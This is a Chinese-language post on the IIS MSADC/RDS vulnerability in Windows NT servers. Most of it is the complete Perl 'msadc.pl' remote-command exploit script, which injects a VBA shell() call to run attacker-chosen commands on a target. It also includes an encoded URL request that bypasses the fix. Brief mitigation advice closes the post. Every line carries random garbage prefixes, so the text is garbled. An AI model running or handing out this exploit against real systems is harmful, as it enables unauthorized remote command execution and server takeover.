IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z>]P _E~`} y~Z 7sx0 涉及程序：
3LRBH+Tt Microsoft NT server
N1iP!m9Q z=/&tRe
W 描述：
+ 9ex ap27 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
FRhHp(0}5 t03X/% H 详细：
?xW,2S 如果你没有时间读详细内容的话，就删除:
<c3Te$. c:\Program Files\Common Files\System\Msadc\msadcs.dll
oZ5 ,y+L4 有关的安全问题就没有了。
$ :|?z_@ o4U0kiI@ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
InA=ty]"_U |W*#N8I P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
xciwKIpS 关于利用ODBC远程漏洞的描述，请参看:
*47HN7 ;vG%[f`K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7y4jk I9Lt> * 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[,L>5:T http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z\r?>2 vN&( __3(( 这里不再论述。
;oCSKY4 ^ 6b27_= 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
+\-cf,WkI U0=: `G2l /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%/oeV;D 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Cz|F%>y# Pj8W]SA_ K2{6{X= #将下面这段保存为txt文件，然后: "perl -x 文件名"
&yRR!1n)H sm Kp3_r #!perl
TXT!Ae #
ZiW&*nN?M
# MSADC/RDS 'usage' (aka exploit) script
i^@hn>s$ #
jP#I](\eG # by rain.forest.puppy
1>=%TIO) #
m*|G 2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{X 5G # beta test and find errors!
G5hf m- f cnv[B..{ use Socket; use Getopt::Std;
H1c>3c getopts("e:vd:h:XR", \%args);
;Wgkf_3 [}I|tb>Pg print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9zl-C*9vj vM?,#:5 if (!defined $args{h} && !defined $args{R}) {
_Un*x5u2O print qq~
ioBY xbY` Usage: msadc.pl -h <host> { -d <delay> -X -v }
6zIK%< -h <host> = host you want to scan (ip or domain)
7jw5' `;)" -d <seconds> = delay between calls, default 1 second
Ji.FG"h+2 -X = dump Index Server path table, if available
Ax6zx -v = verbose
.=N ?;i -e = external dictionary file for step 5
+ w?-#M# G/ H>M%M Or a -R will resume a command session
QtA@ p e(I;[G +%, ~; exit;}
/ hg)=p _6m{zvyX> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Dtox/ ," if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i 0u `J if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
YpgO]\ /w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
t >P[Yld" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
& Qe2
}e$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z))rk vL% 1HLU
& if (!defined $args{R}){ $ret = &has_msadc;
jx'hxC'3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
r 6&+pSA> u"Mf xW` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>>c%I c . "cmd /c ";
MoXai0d% $in=<STDIN>; chomp $in;
cv;2zq=T $command="cmd /c " . $in ;
Yfx?3 drvz
[
9; if (defined $args{R}) {&load; exit;}
HQSFl=Q 0v#p4@Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`YY07(% &try_btcustmr;
{Y3:Y+2X3* k*OHI/uiow print "\nStep 2: Trying to make our own DSN...";
*x _e] /} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
) X3
|[ 4R n\< uT1n print "\nStep 3: Trying known DSNs...";
r`$P60,@C &known_dsn;
Z 5g*' O;$}j:;KF print "\nStep 4: Trying known .mdbs...";
. e4upT GU &known_mdb;
r)B55;*Fh b 'I@TLE') if (defined $args{e}){
3lbGG42: print "\nStep 5: Trying dictionary of DSN names...";
!C(PfsrR/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
..x 2 P' <j<h6 print "Sorry Charley...maybe next time?\n";
QRx9;!~b} exit;
3vkzN \~r_S ##############################################################################
ps^["3e *uSlp_;kB sub sendraw { # ripped and modded from whisker
V+zn`
\a sleep($delay); # it's a DoS on the server! At least on mine...
Tkn8W j my ($pstr)=@_;
)=cJW(nfP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o=-Af|#b die("Socket problems\n");
S_ra8HY8 if(connect(S,pack "SnA4x8",2,80,$target)){
5~$WSL?O) select(S); $|=1;
36Lf8~d4"h print $pstr; my @in=<S>;
W.59Al' select(STDOUT); close(S);
Zq 'FOzs return @in;
0d$LUQ't } else { die("Can't connect...\n"); }}
!^EA}N.u N'PK4: ##############################################################################
i6S["\h> 1d$wP$ sub make_header { # make the HTTP request
W )^%/lAh my $msadc=<<EOT
GP x+]Jw8\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C`uL
4r User-Agent: ACTIVEDATA
I+`>e*:@W Host: $ip
P
F); K Q Content-Length: $clen
[ {HTGz@( Connection: Keep-Alive
;Ah eeq746 \mZB*k)+ ADCClientVersion:01.06
eep/96G
? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%TO& D~TlG@Pq --!ADM!ROX!YOUR!WORLD!
v?}rA %so Content-Type: application/x-varg
O|+$ 9#, Content-Length: $reqlen
V bNN1'a- e(FT4KD~ EOT
Ur ol)_3X ; $msadc=~s/\n/\r\n/g;
`)kxFD_bH return $msadc;}
[;l;kom ^5)=) xV F ##############################################################################
=BbXSwv'( VA`VDUG, sub make_req { # make the RDS request
brK7|&R< my ($switch, $p1, $p2)=@_;
Ezt uVe my $req=""; my $t1, $t2, $query, $dsn;
N8,g~ ?r^ lanU)+U. if ($switch==1){ # this is the btcustmr.mdb query
Y\
;hjxR- $query="Select * from Customers where City=" . make_shell();
_n4_;0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9Z"WV5o $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
NBAOVYK Galh _;= elsif ($switch==2){ # this is general make table query
n]nJ$u1u $query="create table AZZ (B int, C varchar(10))";
)TBm?VMe $dsn="$p1";}
r9<#R=r)}J Fu% n8 elsif ($switch==3){ # this is general exploit table query
9!0- ~,o $query="select * from AZZ where C=" . make_shell();
?kRx;S+ $dsn="$p1";}
"D:?l`\o fhha-J elsif ($switch==4){ # attempt to hork file info from index server
69t6lB#;! $query="select path from scope()";
Hd TB[( $dsn="Provider=MSIDXS;";}
W"\+jHF" 4QYS tDFe elsif ($switch==5){ # bad query
vbtjPse $query="select";
[h>A< O $dsn="$p1";}
K,+z^{Hvh 4F<wa s/ $t1= make_unicode($query);
Y=H_U$ $t2= make_unicode($dsn);
TkIiO > $req = "\x02\x00\x03\x00";
fp`m>}
- $req.= "\x08\x00" . pack ("S1", length($t1));
JdUI:( $req.= "\x00\x00" . $t1 ;
9H53H"5q $req.= "\x08\x00" . pack ("S1", length($t2));
p9 !jM\( $req.= "\x00\x00" . $t2 ;
32pPeYxB!- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
b(adM3MP return $req;}
UMMGT6s,E8 MlLM
$Y-@ ##############################################################################
,Ww.W'#P hM&VMa [ sub make_shell { # this makes the shell() statement
O7od2fV(i7 return "'|shell(\"$command\")|'";}
]vw%J ^7:a F3 g$b,RMH ##############################################################################
K ;`W4:, -zZb]8\E sub make_unicode { # quick little function to convert to unicode
!Q}Bz*Y my ($in)=@_; my $out;
iQgr8[
SFf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0LTsWCUQ6e return $out;}
@y 6 ^/' aU$8 0 ##############################################################################
~ wcp&D ' b6qEU# sub rdo_success { # checks for RDO return success (this is kludge)
!<F5W <V my (@in) = @_; my $base=content_start(@in);
Gs4t6+Al if($in[$base]=~/multipart\/mixed/){
:c(I-xif return 1 if( $in[$base+10]=~/^\x09\x00/ );}
*ozXilO return 0;}
}h|HT dIA1\;@ ##############################################################################
%6&c3,?U\n &KV$x3 sub make_dsn { # this makes a DSN for us
j9}.U \ my @drives=("c","d","e","f");
A6xN6{R! print "\nMaking DSN: ";
[Kb)Q{=) foreach $drive (@drives) {
=(bTS n print "$drive: ";
3GMrdG?Y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
76u \# {5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
# U vWS . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
5 !57<n $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
O7J V{ '? return 0 if $2 eq "404"; # not found/doesn't exist
+O8} twt@ if($2 eq "200") {
Gsy9 0 foreach $line (@results) {
z)R\WFBW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
XAB/S8 e } return 0;}
s -F3(mc( -AQ
7Bd ##############################################################################
M?DXCsZ,)s KB{/L5 sub verify_exists {
A>)W6|m| my ($page)=@_;
}{[p<pU$C my @results=sendraw("GET $page HTTP/1.0\n\n");
~F;>4 q return $results[0];}
D+h`Z]"| <AHdz/N ##############################################################################
vCtnjWGX}/ b8 6c[2 sub try_btcustmr {
:Z6l)R+V my @drives=("c","d","e","f");
}!WuJz" my @dirs=("winnt","winnt35","winnt351","win","windows");
kZc Ge* R e1}aLd foreach $dir (@dirs) {
$SzuUI print "$dir -> "; # fun status so you can see progress
kPS i6ci foreach $drive (@drives) {
}To-c' print "$drive: "; # ditto
z:08;}t $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D6'- c# $reqlenlen=length( "$reqlen" );
uK[gI6M $clen= 206 + $reqlenlen + $reqlen;
JaN53,&< g{hbq[>X] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[h.i,%Ua"P if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9 vNz
yh\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
o<g 1; WVx^}_FD0 ##############################################################################
&
5'cN %.:]4jhk sub odbc_error {
iP?lP= M my (@in)=@_; my $base;
k vt^s0T8Q my $base = content_start(@in);
)<T2J0* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
U.ew6`'Te $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C-(O*hK $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j$k/oQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%'9&JsO return $in[$base+4].$in[$base+5].$in[$base+6];}
3\|PwA9fN8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
c}2"X, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)2F%^<gZ# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V) mi1H|m Hc\o R(L ##############################################################################
i rn
}.e OuB [[L sub verbose {
1+ V<-I@{ my ($in)=@_;
py\/m] return if !$verbose;
wNl " y print STDOUT "\n$in\n";}
<7j"C cJzZ GJB MaT ##############################################################################
nwJ c%0 ? Lr:> sub save {
l YjPrA]TC my ($p1, $p2, $p3, $p4)=@_;
2K2*UC`f open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s~I# K[[5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
K` <`l close OUT;}
- B:O0;f :]`J cJ ##############################################################################
%z[" TVH eGI&4JgJ. sub load {
"':SWKuMx my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(U*Zz+ R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(=tu~ ^ @p=<IN>; close(IN);
8qs 8QK $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
\>e>J\t: $target= inet_aton($ip) || die("inet_aton problems");
deutY.7g print "Resuming to $ip ...";
2VkA!o4nP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K$-|7tJon if($p[1]==1) {
Bh6lK}9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
v3]~*\!5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
S{~j5tQv^q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
lp5 b& I_ if (rdo_success(@results)){print "Success!\n";}
"IoY$!Hk else { print "failed\n"; verbose(odbc_error(@results));}}
^NO;A=9b[ elsif ($p[1]==3){
1 <wolTf if(run_query("$p[3]")){
2 /l4,x print "Success!\n";} else { print "failed\n"; }}
{G _|gs elsif ($p[1]==4){
H &0S if(run_query($drvst . "$p[3]")){
4$4n9`odE print "Success!\n"; } else { print "failed\n"; }}
n s&(g^ exit;}
`u7twW*U2 N qN9 ##############################################################################
83: qIfF KI5099 _/ sub create_table {
QtfLJ5vi my ($in)=@_;
PML84*K - $reqlen=length( make_req(2,$in,"") ) - 28;
$)7Af6x D $reqlenlen=length( "$reqlen" );
|bjLmGb $clen= 206 + $reqlenlen + $reqlen;
4,ewp coC% my @results=sendraw(make_header() . make_req(2,$in,""));
s;:quM return 1 if rdo_success(@results);
4?~Ei[KgQn my $temp= odbc_error(@results); verbose($temp);
#EO] ,!JM return 1 if $temp=~/Table 'AZZ' already exists/;
13I~
return 0;}
-257g; 3$kElq[ ##############################################################################
bt?)ryu "C9.pdP\8 sub known_dsn {
"'6R|<u=: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
L9 H.DNA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_2Fa .gi "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
b '4r5@ GO "banner", "banners", "ads", "ADCDemo", "ADCTest");
Td![I d G I#T MFz3 foreach $dSn (@dsns) {
U,nQnD"!t& print ".";
. n) 0@X! next if (!is_access("DSN=$dSn"));
'a enh j if(create_table("DSN=$dSn")){
@#| R{5=+ print "$dSn successful\n";
XO J@-^BX if(run_query("DSN=$dSn")){
X[o "9O|< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ps=QVX)YP print "Something's borked. Use verbose next time\n";}}} print "\n";}
>Y&o2zJy "yxBD
7 ##############################################################################
e
irRAU o `[X _ sub is_access {
?a-}1A{
my ($in)=@_;
~sc@49p $reqlen=length( make_req(5,$in,"") ) - 28;
|n.ydyu` $reqlenlen=length( "$reqlen" );
)1]LoEdm` $clen= 206 + $reqlenlen + $reqlen;
h3kBNBI ) my @results=sendraw(make_header() . make_req(5,$in,""));
1z =}`,?> my $temp= odbc_error(@results);
WFF pW{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:a9$f 8*b return 0;}
" qrL:, 8_ _C T ##############################################################################
4$b9<:M_ SQx:`{O sub run_query {
Q$DF3[NC my ($in)=@_;
k3t2{=&'&x $reqlen=length( make_req(3,$in,"") ) - 28;
QjwCY=PK! $reqlenlen=length( "$reqlen" );
Q@# Gm9m $clen= 206 + $reqlenlen + $reqlen;
G3t
4$3| my @results=sendraw(make_header() . make_req(3,$in,""));
XY`2>7 return 1 if rdo_success(@results);
.Dg'MM B M my $temp= odbc_error(@results); verbose($temp);
x$tzq+N return 0;}
t8FgQ)tk MFLw^10(T ##############################################################################
+l_$}UN ,=p.Cx'PR sub known_mdb {
YiPp#0T[Gx my @drives=("c","d","e","f","g");
+ )K yG my @dirs=("winnt","winnt35","winnt351","win","windows");
{v}jV{'^um my $dir, $drive, $mdb;
WWY G>C[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9<I;9.1S?^ _7w2E # this is sparse, because I don't know of many
$ ~*d. my @sysmdbs=( "\\catroot\\icatalog.mdb",
L\asrdL?= "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
hTbot^/ "\\system32\\certmdb.mdb",
t9
m],aH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
N\ dr_ f^X\ N/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
pGGx.&5#82 "\\cfusion\\cfapps\\forums\\forums_.mdb",
>~^##bIb "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
W4(O2RU "\\cfusion\\cfapps\\security\\realm_.mdb",
:7Q,
`W9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q CB~x2C "\\cfusion\\database\\cfexamples.mdb",
~j2=hk S
"\\cfusion\\database\\cfsnippets.mdb",
k|T0Bly3P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
cZXra(AD "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!4G<&hvb "\\cfusion\\brighttiger\\database\\cleam.mdb",
Yhd|1,m9f "\\cfusion\\database\\smpolicy.mdb",
=Z(#j5TGvH "\\cfusion\\database\cypress.mdb",
iP~dH/B|v "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
15FGlO<< "\\website\\cgi-win\\dbsample.mdb",
D?"TcA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:WBl0`kW]4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BV
HO_ ); #these are just
TID0x/j"K5 foreach $drive (@drives) {
}ZWeb#\ foreach $dir (@dirs){
~0>{PD$@ foreach $mdb (@sysmdbs) {
p,w6D,h print ".";
v{2 Vg if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^~dvA)bH print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
d\ Z#XzI8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
s IJ37;ZA print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W=~H_ L?/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
8; s$?*G i "ci <W_lx foreach $drive (@drives) {
QP e}rQnm foreach $mdb (@mdbs) {
e?D,=A4mV" print ".";
h&6x.ps@ if(create_table($drv . $drive . $dir . $mdb)){
lEC5 8`Ws print "\n" . $drive . $dir . $mdb . " successful\n";
8Cr?0Z if(run_query($drv . $drive . $dir . $mdb)){
[2, u:0 " print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}`9} Q
O } else { print "Something's borked. Use verbose next time\n"; }}}}
r8~U@$BBK }
?iBHJ{ X7]vXo * ##############################################################################
[]M+(8Z_P uv[e0, @ sub hork_idx {
}?Y+GT"E print "\nAttempting to dump Index Server tables...\n";
}f6x> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
? I}T[j $reqlen=length( make_req(4,"","") ) - 28;
z
{J1pH_X $reqlenlen=length( "$reqlen" );
G#! j` $clen= 206 + $reqlenlen + $reqlen;
'4A8\&lQO my @results=sendraw2(make_header() . make_req(4,"",""));
Bv |Z)G%RR if (rdo_success(@results)){
| JL47FR my $max=@results; my $c; my %d;
~ >)GW for($c=19; $c<$max; $c++){
iV71t17 $results[$c]=~s/\x00//g;
Om0S^4y]x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
{hM*h(W~3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~I>B5^3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
U9xFQ=$ 2 $d{"$1$2"}="";}
'vTD7a^ foreach $c (keys %d){ print "$c\n"; }
OX4+1@$tk } else {print "Index server doesn't seem to be installed.\n"; }}
m-a _<xo XI,F^K ##############################################################################
W3K"5E0ck T+2I:W% sub dsn_dict {
~4*9w3t
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1W
HR;!u while(<IN>){
9=I(AYG{m $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<96ih$5D1 next if (!is_access("DSN=$dSn"));
l(zkMR$b8 if(create_table("DSN=$dSn")){
Bd"7F{H print "$dSn successful\n";
<S0!$.Kg*< if(run_query("DSN=$dSn")){
TR@$$RrU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=k`(!r2"# print "Something's borked. Use verbose next time\n";}}}
4#=!VK8ZH print "\n"; close(IN);}
);;UNO21+ j &Ayk * ##############################################################################
i4!n Oyk &^9>h/-XT sub sendraw2 { # ripped and modded from whisker
fp4 d?3G sleep($delay); # it's a DoS on the server! At least on mine...
wR/i+,K my ($pstr)=@_;
Z[`J'}?| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hv
.Mf.m die("Socket problems\n");
#D+Fq^="P if(connect(S,pack "SnA4x8",2,80,$target)){
6M$.gX
G. print "Connected. Getting data";
+.\JYH=yEr open(OUT,">raw.out"); my @in;
^O\tN\g;c select(S); $|=1; print $pstr;
Ze S hn while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
VV] {R' close(OUT); select(STDOUT); close(S); return @in;
XW]|Mv[M } else { die("Can't connect...\n"); }}
:N)7SYQT INzQ0z-z ##############################################################################
Q:VD 2<2 { Rw~G&vQ sub content_start { # this will take in the server headers
YQX> )' my (@in)=@_; my $c;
D?5W1m]E,s for ($c=1;$c<500;$c++) {
p|Rxy"} if($in[$c] =~/^\x0d\x0a/){
%v~j1 0e if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
o`j%$K4?5 else { return $c+1; }}}
r?/>t1Z return -1;} # it should never get here actually
PD/JXExK fBd +gT\S ##############################################################################
6x/ X8 zu p dnL~sv sub funky {
F<-Pbtw my (@in)=@_; my $error=odbc_error(@in);
~P6K)V|@< if($error=~/ADO could not find the specified provider/){
S% xGXmZ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
cB<0~& exit;}
]\ r~"*TZ if($error=~/A Handler is required/){
7P|(j<JX6' print "\nServer has custom handler filters (they most likely are patched)\n";
u{p\8v%7 exit;}
Bdbw!zRR$ if($error=~/specified Handler has denied Access/){
}>frK#S print "\nServer has custom handler filters (they most likely are patched)\n";
[S</QS! exit;}}
#2HygS aeBth { ##############################################################################
QTn-n)AE KI>7h.t sub has_msadc {
Rb#Z\e}e- my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9'5,V{pj my $base=content_start(@results);
`8'T*KU return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Tu/JhP/g,` return 0;}
&
b w1 s:]rL&| ########################
s9[v_(W '{oe}]., (c[h,>`@: 解决方案：
bNaJ{Dm$R 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3?5
~KxOE( 2、移除web 目录: /msadc
